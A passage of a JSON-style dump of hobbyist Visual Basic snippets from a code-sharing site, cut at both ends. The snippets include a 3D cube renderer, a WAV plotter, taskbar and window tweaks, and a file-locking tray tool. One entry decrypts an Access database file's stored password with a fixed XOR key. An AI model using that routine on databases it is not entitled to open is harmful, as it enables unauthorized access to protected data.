(Ixy_angle - 5)\n cosa = Cos(Ixy_angle * pi180)\n sina = Sin(Ixy_angle * pi180)\n sinsinba = sinb * sina\n sincosba = sinb * cosa\n cossinba = sina * cosb\n coscosba = cosb * cosa\n Form1.Cls\n NewPaint\nEnd Sub\nSub rollleft()\n Ixy_angle = (Ixy_angle + 5)\n cosa = Cos(Ixy_angle * pi180)\n sina = Sin(Ixy_angle * pi180)\n sinsinba = sinb * sina\n sincosba = sinb * cosa\n cossinba = sina * cosb\n coscosba = cosb * cosa\n Form1.Cls\n NewPaint\nEnd Sub\n'This subroutine identifies the code of the pressed key\nPrivate Sub Form_KeyPress(KeyAscii As Integer)\n Select Case KeyAscii\n Case 97\n ww = 1\n Case 100\n ww = 2\n Case 119\n ww = 3\n Case 120\n ww = 4\n Case 49\n ww = 5\n Case 50\n ww = 6\n Case 27\n Unload Me\n \n End Select\nEnd Sub\nPrivate Sub Form_Load()\n pi180 = 0.01745392\n Ixy_angle = 270\n Iz_angle = 85\n cosa = Cos(Ixy_angle * pi180)\n sina = Sin(Ixy_angle * pi180)\n cosb = Cos(Iz_angle * pi180)\n sinb = Sin(Iz_angle * pi180)\n sinsinba = sinb * sina\n sincosba = sinb * cosa\n cossinba = sina * cosb\n coscosba = cosb * cosa\n dYYshift = 80\n dXXshift = 80\n zoom = 6#\n NewPaint\nEnd Sub\n'This subroutine draws the cube using the translation code\nSub NewPaint()\n posxy -1, -1, -1: xxx = csx: yyy = csy:\n posxy -1, 1, -1: Line (xxx, yyy)-(csx, csy), QBColor(15): x = csx: y = csy\n posxy -1, 1, 1: Line (x, y)-(csx, csy), QBColor(15): x = csx: y = csy\n posxy -1, -1, 1: Line (x, y)-(csx, csy), QBColor(15): Line (csx, csy)-(xxx, yyy), QBColor(15)\n posxy 1, -1, -1: xxx = csx: yyy = csy:\n posxy 1, 1, -1: Line (xxx, yyy)-(csx, csy), QBColor(15): x = csx: y = csy\n posxy 1, 1, 1: Line (x, y)-(csx, csy), QBColor(15): x = csx: y = csy\n posxy 1, -1, 1: Line (x, y)-(csx, csy), QBColor(15): Line (csx, csy)-(xxx, yyy), QBColor(15)\n \n posxy 1, -1, -1: x = csx: y = csy: posxy -1, -1, -1: Line (x, y)-(csx, csy), QBColor(15)\n posxy 1, -1, 1: x = csx: y = csy: posxy -1, -1, 1: Line (x, y)-(csx, csy), QBColor(15)\n posxy 1, 1, 1: x = csx: y = csy: posxy -1, 1, 1: Line (x, y)-(csx, csy), QBColor(15)\n posxy 1, 1, -1: x = csx: y = csy: posxy -1, 1, -1: Line (x, y)-(csx, csy), QBColor(15)\nEnd Sub\n'This subroutine reads the value of the next rotation / zoom\nPrivate Sub Timer1_Timer()\nSelect Case ww\nCase 1\n rollleft\nCase 2\n rollright\nCase 3\n rollup\nCase 4\n rolldown\nCase 5\n zoom = zoom * 1.01\n Form1.Cls\n NewPaint\nCase 6\n zoom = zoom * 0.99\n Form1.Cls\n NewPaint\nEnd Select\nEnd Sub\n"},{"WorldId":1,"id":6694,"LineNumber":1,"line":"Option Explicit\nPrivate Sub Command1_Click()\n Dim FileNumber As Integer\n Dim I As Single\n Dim Min As Single\n Dim Max As Single\n Dim Temp As Integer\n Dim XZoomrate As Single\n Dim YZoomrate As Single\n Dim LastX As Single\n Dim LastY As Single\n On Error GoTo ErrorHandler\n ' Enable Cancel error\n With Picture1\n CommonDialog1.CancelError = True\n CommonDialog1.Filter = \"Wave files (*.wav)|*.wav\"\n CommonDialog1.ShowOpen\n \n ' Change the caption of the form\n Me.Caption = CommonDialog1.filename\n \n I = 44 ' Set I To 44, since the wave sample is begin at Byte 44.\n ' Open file to get the length of the wav\n ' e file.\n FileNumber = FreeFile\n Open CommonDialog1.filename For Random As #FileNumber\n Do\n Get #FileNumber, I, Temp\n I = I + 1\n ' Get the smallest and largest number. T\n ' hey will be use for the adjustment\n ' of the vertical size.\n If Temp < Min Then Min = Temp\n If Temp > Max Then Max = Temp\n Loop Until EOF(FileNumber)\n Close #FileNumber\n ' Adjust values and reset values\n XZoomrate = (.Width / I)\n YZoomrate = (Max - Min) / (.Height / 2)\n .CurrentX = 100\n .CurrentY = .Height / 2\n LastX = 100\n LastY = .Height / 2\n .AutoRedraw = True\n I = 44\n ' Reopen file using a different FileNumb\n ' er\n FileNumber = FileNumber + 1\n .Cls\n Open CommonDialog1.filename For Random As #FileNumber\n Do\n Get #FileNumber, I, Temp\n ' Set CurrentX and CurrentY\n .CurrentX = .CurrentX + XZoomrate\n .CurrentY = (Temp / YZoomrate) + .Height / 2\n ' Plot graph\n Picture1.Line (LastX, LastY)-(.CurrentX, .CurrentY), vbBlack\n ' Reset values\n LastX = .CurrentX\n LastY = .CurrentY\n I = I + 1\n \n If .CurrentX > .Width Then Exit Do\n Loop Until EOF(FileNumber)\n Close #FileNumber\n End With\n \nErrorHandler:\n ' Do nothing\nEnd Sub\nPrivate Sub Form_Resize()\n On Error Resume Next\n ' Resize control\n With Picture1\n .BackColor = vbWhite\n .ForeColor = vbBlack\n .Move 50, 500, Width - 200, Height - 800\n End With\nEnd Sub"},{"WorldId":1,"id":9312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6375,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4079,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4123,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4265,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4363,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3929,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3878,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3937,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3905,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3915,"LineNumber":1,"line":"Public Sub KillCloseButton(hWnd As Long)\n Dim hSysMenu As Long\n hSysMenu = GetSystemMenu(hWnd, 0)\n Call RemoveMenu(hSysMenu, 6, MF_BYPOS)\n Call RemoveMenu(hSysMenu, 5, MF_BYPOS)\nEnd Sub\n'Call the above function from a form as it's being loaded\nPrivate Sub Form_Load()\n KillCloseButton Me.hWnd\nEnd Sub\n"},{"WorldId":1,"id":5749,"LineNumber":1,"line":"Public Function BinaryInverse(ByVal szData As String)\n Dim szRet As String\n szRet = Space$(Len(szData))\n For i = 1 To Len(szData)\n Mid(szRet, i, 1) = Chr$(255 - Asc(Mid(szData, i, 1)))\n Next i\n BinaryInverse = szRet\n \nEnd Function"},{"WorldId":1,"id":6621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7527,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3969,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9296,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3978,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6101,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4044,"LineNumber":1,"line":"Function AccessPassword(Byval Filename As string) as string\nDim MaxSize, NextChar, MyChar, secretpos,TempPwd \nDim secret(13) \nsecret(0) = (&H86) \nsecret(1) = (&HFB) \nsecret(2) = (&HEC) \nsecret(3) = (&H37) \nsecret(4) = (&H5D) \nsecret(5) = (&H44) \nsecret(6) = (&H9C) \nsecret(7) = (&HFA) \nsecret(8) = (&HC6) \nsecret(9) = (&H5E) \nsecret(10) = (&H28) \nsecret(11) = (&HE6) \nsecret(12) = (&H13) \nsecretpos = 0 \nOpen Filename For Input As #1 ' Open file for input. \nFor NextChar = 67 To 79 Step 1 'Read in Encrypted Password \n Seek #1, NextChar ' Set position. \n MyChar = Input(1, #1) ' Read character. \n TempPwd = TempPwd & Chr(Asc(MyChar) Xor secret(secretpos)) 'Decrypt using Xor \n secretpos = secretpos + 1 'increment pointer \nNext NextChar \nClose #1 ' Close file. \nAccessPassword = TempPwd\nEnd Function\n"},{"WorldId":1,"id":4045,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4222,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4190,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9356,"LineNumber":1,"line":"'place a timer-controle & 3 Labels into your app.\nPublic Sub Wait(seconds)\n Timer1.Enabled = True\n Me.Timer1.Interval = 1000 * seconds\n While Me.Timer1.Interval > 0\n DoEvents\n Wend\n Timer1.Enabled = False\nEnd Sub\nPrivate Sub Timer1_Timer()\n Timer1.Interval = 0\nEnd Sub\n\nPrivate Sub Command1_Click()\n Label1.Caption = \"1\"\n Wait (5)\n Label2.Caption = \"2\"\n Wait (5)\n Label3.Caption = \"3\"\nEnd Sub\n"},{"WorldId":1,"id":9357,"LineNumber":1,"line":"'this is for the form; ->\nPrivate Sub Command1_Click()\n hwnd1 = FindWindow(\"Shell_traywnd\", \"\")\n Call SetWindowPos(hwnd1, 0, 0, 0, 0, 0, &H80)\nEnd Sub\nPrivate Sub Command2_Click()\n hwnd1 = FindWindow(\"Shell_traywnd\", \"\")\n Call SetWindowPos(hwnd1, 0, 0, 0, 0, 0, &H40)\nEnd Sub"},{"WorldId":1,"id":9366,"LineNumber":1,"line":"'Turn Monitor on: ->\n SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal 0&\n'Turn Monitor off: ->\n SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal -1&"},{"WorldId":1,"id":9368,"LineNumber":1,"line":"'Here it is (example with msgbox)\nMsgBox StrConv(\"do you think this is usefull ? i do.\", vbProperCase)"},{"WorldId":1,"id":10233,"LineNumber":1,"line":"if A.left + A.width > B.left then\n if A.left < B.left + B.width then\n if A.top < B.top + B.height then\n if A.top + A.height > B.top then \n 'Collission Detected.\n 'further actions here\n MsgBox \"collission detected\"\n else\n 'no collission\n 'further actions here\n MsgBox \"no collision\"\n end if\n end if\n end if\nend if\n"},{"WorldId":1,"id":8453,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4068,"LineNumber":1,"line":"'Source Code for mdlFindFile.bas or put directly into form\nDim strLocation As String\nDim blFoundItFlag As Boolean\n'Different Drive Types\n'0 = \"Unknown\"\n'1 = \"Removable\"\n'2 = \"Fixed\"\n'3 = \"Network\"\n'4 = \"CD-ROM\"\n'5 = \"RAM Disk\"\n \nPublic Sub FindIt(strFileName As String)\nDim FS As FileSystemObject\nDim Drv As Drive\nDim DrvCol\nDim RootFldr As Folder\nDim strRootPath As String\nDim strFNameToPass As String\nblFoundItFlag = False\nstrFNameToPass = UCase(strFileName) 'will speed processing passing it this way & ensure proper comparison\n Set FS = CreateObject(\"Scripting.FileSystemObject\")\n Set DrvCol = FS.Drives\n For Each Drv In DrvCol\n If blFoundItFlag Then 'Once we found it, don't got through the rest of the drives\n Exit Sub\n Else\n strRootPath = Drv.DriveLetter & \":\\\"\n If Drv.IsReady Then 'Will prevent errors\n Set RootFldr = FS.GetFolder(strRootPath)\n Call CheckEm(RootFldr, strRootPath, strFNameToPass)\n End If\n End If\n Next\n \nEnd Sub\nPublic Sub CheckEm(Fldr As Folder, Path As String, FName As String)\n Dim SubFldr As Folder\n Dim strPath As String\n Dim strFName As String\n \nOn Error GoTo ErrHandler\n strPath = Path\n strFName = FName\n For Each SubFldr In Fldr.SubFolders\n For Each Fil In SubFldr.Files\n \n strLocation = SubFldr.ParentFolder & \"\\\" & SubFldr.Name & \"\\\"\n DoEvents\n 'Debug.Print strLocation\n If UCase(Fil.Name) = strFName Then\n strLocation = Replace(strLocation, \"\\\\\", \"\\\") 'Some paths have 2 \\\\ ???\n MsgBox strLocation 'show em where it's at\n blFoundItFlag = True\n Exit Sub\n End If\n \n Next\n Call CheckEm(SubFldr, strPath, strFName) 'Little recursive action here\n Next\nExit Sub\nErrHandler:\n If MsgBox(\"Error: \" & Err.Number & \" \" & Err.Description & vbCrLf & _\n \"Do you want to continue?\", vbYesNo) = vbYes Then\n Resume Next\n Else\n blFoundItFlag = True\n Exit Sub\n End If\nEnd Sub\n"},{"WorldId":1,"id":4069,"LineNumber":1,"line":"'*****************************************************************\n' October 17 1999- By Jorge Loubet\n' jorgeloubet@yahoo.com\n' Durango, Dgo. Mexico.\n' Hola amigos !\n' Here is what I did to make my PC speaker beep\n' at the frequency and length of time I want,\n' using hardware direct control.\n' It works fine in Win95 and Win98. Not in WinNT.\n' (Revenge against beep() function in NT ? )\n' Just follow these steps:\n' 1) Download the library WIN95IO.DLL from\n' http://www.softcircuits.com (Free software)\n' 2) Copy this DLL to your System folder\n' 3) Put a command buton on your form named cmdStartSound\n' 4) Put a timer on your form and name it as TimerSound\n' 5) Copy all of this code to your form\n' 6) Run it !!!\n'\n' Have a nice sound and make your own fiesta with tequila and se├▒oritas...!\n' If you think this is good for you, let me know that, sending me\n' your comments to my e-mail.\n'*****************************************************************\nOption Explicit\nDim SoundEnd As Boolean\n'If you wish, put this declarations on a module, deleting \"Private\"\n'Write a byte to port:\nPrivate Declare Sub vbOut Lib \"WIN95IO.DLL\" (ByVal nPort As Integer, ByVal nData As Integer)\n'Read a byte from port:\nPrivate Declare Function vbInp Lib \"WIN95IO.DLL\" (ByVal nPort As Integer) As Integer\n'These are standard freqs of music. You can set any freq.\nConst C = 523 'Do in spanish\nConst D = 587.33 'Re\nConst E = 659.26 'Mi\nConst F = 698.46 'Fa\nConst G = 783.99 'Sol\nConst A = 880 'La\nConst B = 987.77 'Si\nPrivate Sub cmdStartSound_Click()\n Dim i As Integer\n \n 'This is all you have to do to simulate a phone ring sound.\n For i = 1 To 12\n Sounds C, 20 'Sounds 523 Hz in 20 miliseconds\n Sounds F, 20 'Sounds 698.46 Hz in 20 miliseconds\n Next i\n \n 'Need to go up an octave? Just double the frequency or viceversa.\n ' example:\n 'Sounds C * 2, 500 'An octave up\n 'Sounds C / 2, 500 'An octave down\n 'Yes, you can do a funny piano using your programming skills !\nEnd Sub\nPrivate Sub Sounds(Freq, Length)\nDim LoByte As Integer\nDim HiByte As Integer\nDim Clicks As Integer\nDim SpkrOn As Integer\nDim SpkrOff As Integer\n' \"I didn't tested if this is exactly the frequency,\n' but it's ok to start here. I you wish more precision,\n' try with a piano or another reference to adjust the clicks.\n' For example, \"A\" has a frequency of 880 Hertz. If you have\n' a good ear, it may be adjusted very close by\n' changing the 1193280 number up or down.\n' Of course, you can use a frequency meter.\n' I didn't tested the frequency limits too. Test it by yourself.\"\n' Length precision is the same as the timer control precision.\n'Ports 66, 67, and 97 control timer and speaker\n'Divide clock frequency by sound frequency\n'to get number of \"clicks\" clock must produce.\n Clicks = CInt(1193280 / Freq)\n LoByte = Clicks And &HFF\n HiByte = Clicks \\ 256\n'Tell timer that data is coming\n vbOut 67, 182\n'Send count to timer\n vbOut 66, LoByte\n vbOut 66, HiByte\n'Turn speaker on by setting bits 0 and 1 of PPI chip.\n SpkrOn = vbInp(97) Or &H3\n vbOut 97, SpkrOn 'My speaker is sounding !\n'Leave speaker on (while timer runs)\n SoundEnd = False 'Do not finish yet\n TimerSound.Interval = Length 'Time to sound\n TimerSound.Enabled = True 'Begin to count time\n Do While Not SoundEnd\n 'Let processor do other tasks\n DoEvents\n Loop\n'Turn speaker off resetting bit 0 and 1.\n SpkrOff = vbInp(97) And &HFC\n vbOut 97, SpkrOff\nEnd Sub\nPrivate Sub TimerSound_Timer()\n 'Time is over\n SoundEnd = True 'Finish sound now\n TimerSound.Enabled = False\nEnd Sub\n"},{"WorldId":1,"id":4072,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4085,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4086,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5838,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6011,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6772,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10249,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10045,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10512,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4194,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6574,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4114,"LineNumber":1,"line":"'This code assumes a DB with a table named \"Appointments\" and fields named '\"AppName\", \"AppTime\", \"Appointment\", and \"Notes\".\n'put this into the Form_Load() area of the form the grid and data \n'control are on.\n Data1.RecordSource = \"\"\n Data1.RecordSource = ReturnFieldsSQL\n Data1.Refresh\n DBGrid1.Refresh\n'put this function in a module\nPublic Function ReturnFieldsSQL()\n Dim SQLS As String\n SQLS = \"SELECT AppDate,\"\n SQLS = SQLS + \" \" & \"Apptime,\"\n SQLS = SQLS + \" \" & \"Appointment,\"\n SQLS = SQLS + \" \" & \"Notes\"\n SQLS = SQLS + \" \" & \"From [Appointments]\"\n ReturnFieldsSQL = SQLS\nEnd Function\n'And thats all there is to it.\n'This is a very simple function to use.\n'You can alter the number of items to return.\n'I'm still working on the syntax for the \"Where\" clause to go with this 'function.\n'Once the form loads, if you do it right,\n'the grid will be filled with the tables specified here."},{"WorldId":1,"id":4132,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4455,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4133,"LineNumber":1,"line":"Private Sub Combo1_Click()\nDim ncm As NONCLIENTMETRICS 'NONCLIENTMETRICS to change\nDim Orincm As NONCLIENTMETRICS 'NONCLIENTMETRICS to replace original\nDim Returned As Long\nDim i As Integer\nncm.cbSize = Len(ncm)\nReturned = SystemParametersInfo(41, 0, ncm, 0) 'get the system NONCLIENTMETRICS\nOrincm = ncm 'store the value of system NONCLIENTMETRICS to use later\n'now to change the font name\n'other functions can be used to change the font name\n'but for simplicity i have used asc() & mid()\nFor i = 1 To Len(Combo1.Text) 'use ncm.lfMenuFont.lfFacename(i) to change menu font\n ncm.lfMessageFont.lfFaceName(i) = Asc(Mid(Combo1.Text, i, 1))\n ncm.lfCaptionFont.lfFaceName(i) = Asc(Mid(Combo1.Text, i, 1))\nNext i\nncm.lfMessageFont.lfFaceName(i) = 0 'add null at the end of font name\nncm.lfCaptionFont.lfFaceName(i) = 0\nReturned = SystemParametersInfo(42, 0, ncm, &H1 Or &H2) 'remove &H2 if you don't want to affect all the open windows\nMsgBox \"Message & Caption Font Changed to \" & Combo1.Text, vbOKOnly, \"NILESH\"\nReturned = SystemParametersInfo(42, 0, Orincm, &H1 Or &H2) 'replace original font\nMsgBox \"Message & Caption Font Replaced to \" & StrConv(Orincm.lfCaptionFont.lfFaceName, vbUnicode), vbOKOnly, \"NILESH\"\nEnd Sub\nPrivate Sub Form_Load()\n' Heres a very simple code to change the system\n' NONCLIENTMETRICS like the the window title font,\n' the message font,menu font using VB. You can also change\n' other elements like status font etc\n' in your window only or all the open windows\n' like PLUS! or display settings (appearance)\n' also it is possible to underline, strikethru fonts in\n' your window with this code. This code is very useful\n' if you are coding a multi-lingual software.\n' For more info and more free code send e-mail.\n' code by - NILESH P KURHADE\n' email - bluenile5@hotmail.com\n\nDim i As Integer\nShow\n' to flood the combo box with first 10 fonts\nFor i = 1 To 10 ' or use For i = 1 To Screen.FontCount to flood all the fonts in your pc\n Combo1.AddItem Screen.Fonts(i)\nNext i\nEnd Sub"},{"WorldId":1,"id":4147,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4271,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6242,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6155,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6441,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8231,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6416,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7066,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7052,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9519,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9362,"LineNumber":1,"line":"Function IsOdd(Var as integer)\nIsOdd = -(Var And 1)\nEnd Function"},{"WorldId":1,"id":9307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9310,"LineNumber":1,"line":"Dim s As String, i As Integer\nIf Left(Text1, 3) = \"DMK\" Then\nText1 = Right(Text1, Len(Text1) - 3)\nFor i = 1 To Len(Text1)\nIf i <= 100 Then\ns = s & Chr(Asc(Mid(Text1, i, 1)) - 128 Mod i)\nElse\ns = s & Chr(Asc(Mid(Text1, i, 1)) - 128 Mod i / 10)\nEnd If\nNext\nElse\nFor i = 1 To Len(Text1)\nIf i <= 100 Then\ns = s & Chr(Asc(Mid(Text1, i, 1)) + 128 Mod i)\nElse\ns = s & Chr(Asc(Mid(Text1, i, 1)) + 128 Mod i / 10)\nEnd If\nNext\ns = \"DMK\" & s\nEnd If\nText1 = s"},{"WorldId":1,"id":9237,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10111,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9879,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9850,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9575,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5649,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5627,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4247,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4181,"LineNumber":1,"line":"Public Function ValidateEmail(strEmail As String) As Boolean\n \nValidateEmail = strEmail Like \"*@[A-Z,a-z,0-9]*.*\"\n \nEnd Function"},{"WorldId":1,"id":4185,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4366,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4206,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4207,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4505,"LineNumber":1,"line":"\nPublic Function CloseApplication(byVal sAppCaption As String) As Boolean\n Dim lHwnd As Long\n Dim lRetVal As Long\n \n lHwnd = FindWindow(vbNullString, sAppCaption)\n If lHwnd <> 0 Then\n lRetVal = PostMessage(lHwnd, WM_CLOSE, 0&, 0&)\n End If\nEnd Function"},{"WorldId":1,"id":4214,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9822,"LineNumber":1,"line":"Sub Size(sForm As Form, sWidth As Integer, sHeight As Integer)\nDim t_ScaleMode As Integer, t_Width As Integer, t_Height As Integer\n t_ScaleMode = sForm.ScaleMode\n sForm.ScaleMode = 1\n t_Width = sForm.Width - sForm.ScaleWidth\n t_Height = sForm.Height - sForm.ScaleHeight\n sForm.Width = (sWidth * Screen.TwipsPerPixelX) + t_Width\n sForm.Height = (sHeight * Screen.TwipsPerPixelY) + t_Height\n sForm.ScaleMode = t_ScaleMode\nEnd Sub"},{"WorldId":1,"id":9825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4228,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4229,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5305,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6856,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4239,"LineNumber":1,"line":"Private Sub Form_Load()\nDim fileLock As String\nOpen \"C:\\Text.txt\" For Input As #1 ' This is the file that it will read from.\nDo While Not EOF(1) ' Loop until end of file.\n Line Input #1, fileLock 'Each line of the file is the path name\n FileNumber = FreeFile() 'Findout next available file number\n Open fileLock For Binary Shared As #FileNumber\n Lock #FileNumber 'Lock file\n Loop\nClose #1\n'System tray stuff\n\nDim nd As NOTIFYICONDATA\n Dim lRet As Long\n With nd\n .cbSize = Len(nd)\n .hwnd = picHook.hwnd\n .uID = 1&\n .szTip = \"Lock on\" & Chr(0)\n .uCallbackMessage = WM_MOUSEMOVE\n .hIcon = Picture1.Picture 'Icon for system tray\n .uFlags = NIF_MESSAGE Or NIF_ICON Or NIF_TIP\n End With\n lRet = Shell_NotifyIconA(NIM_ADD, nd)\n 'Error check here\n 'lRet = PostMessage(mnuPophwnd, WM_NULL, 0&, 0&) 'hrmf\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n Dim nd As NOTIFYICONDATA\n Dim iRet As Integer\n With nd\n .cbSize = Len(nd)\n .hwnd = picHook.hwnd\n .uID = 1&\n End With\n iRet = Shell_NotifyIconA(NIM_DELETE, nd)\n If FreeFile() <> 1 Then 'Remove files from memory\n For X = 1 To FreeFile() - 1\n Close #X\n Next\n End If\nEnd Sub\nPrivate Sub Timer1_Timer() 'Puts form in background\nfrmSplash.Hide\nTimer1.Enabled = False\nEnd Sub\nPrivate Sub picHook_MouseMove(Button As Integer, Shift As Integer, _\n X As Single, Y As Single)\n Static bRunning As Boolean\n Dim lMsg As Long\n lMsg = X / Screen.TwipsPerPixelX\n If Not (bRunning) Then 'avoid cascades\n bRunning = True\n Select Case lMsg\n Case WM_LBUTTONDBLCLK:\n If InputBox(\"Please enter Password:\", \"Lock\") = \"password\" Then Unload Me 'Password check\n Case WM_LBUTTONDOWN:\n Case WM_LBUTTONUP:\n Case WM_RBUTTONDBLCLK:\n Case WM_RBUTTONDOWN:\n End Select\n bRunning = False\n End If\nEnd Sub\n"},{"WorldId":1,"id":8447,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4241,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4705,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4541,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4890,"LineNumber":1,"line":"Public Function Win32Keyword(ByVal URL As String) As Long\nweburl = ShellExecute(0&, vbNullString, URL, vbNullString, vbNullString, vbNormalFocus)\nEnd Function\n\n'For example: put the next code under a commad button:\nPrivate Sub Command1_Click()\nwin32keyword(\"C:\\bla\\bla\\movie.rm\")\nEnd Sub\n"},{"WorldId":1,"id":8910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4292,"LineNumber":1,"line":"'Get more great source code from \n' http://www.stridersolutions.com/products/cs/\nOption Explicit\n#If Win16 Then\n Private Declare Function LockWindowUpdate Lib \"User\" (ByVal hWndLock As Integer) As Integer\n#Else\n Private Declare Function LockWindowUpdate Lib \"User32\" (ByVal hWndLock As Long) As Long\n#End If\nPrivate Sub StopFlicker(ByVal lHWnd as Long)\n Dim lRet As Long \n 'Object will not flicker - just be blank\n lRet = LockWindowUpdate(lHWnd)\n End Sub\nPrivate Sub Release()\n Dim lRet As Long \n lRet = LockWindowUpdate(0)\nEnd Sub"},{"WorldId":1,"id":4311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5287,"LineNumber":1,"line":"Private Sub Form_Load()\n Me.KeyPreview = True\nEnd Sub\nPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\n If (Shift = vbAltMask) Then\n Select Case KeyCode\n Case vbKeyF4\n KeyCode = 0\n End Select\n End If\nEnd Sub"},{"WorldId":1,"id":5429,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4320,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10524,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10526,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5095,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8611,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8138,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8181,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4329,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4343,"LineNumber":1,"line":"Private Sub Timer1_Timer()\n If Label1.Left < -1000 Then\n Label1.Left = 7000\nElse\n Label1.Left = Val(Label1.Left) - 40\nEnd If\nEnd 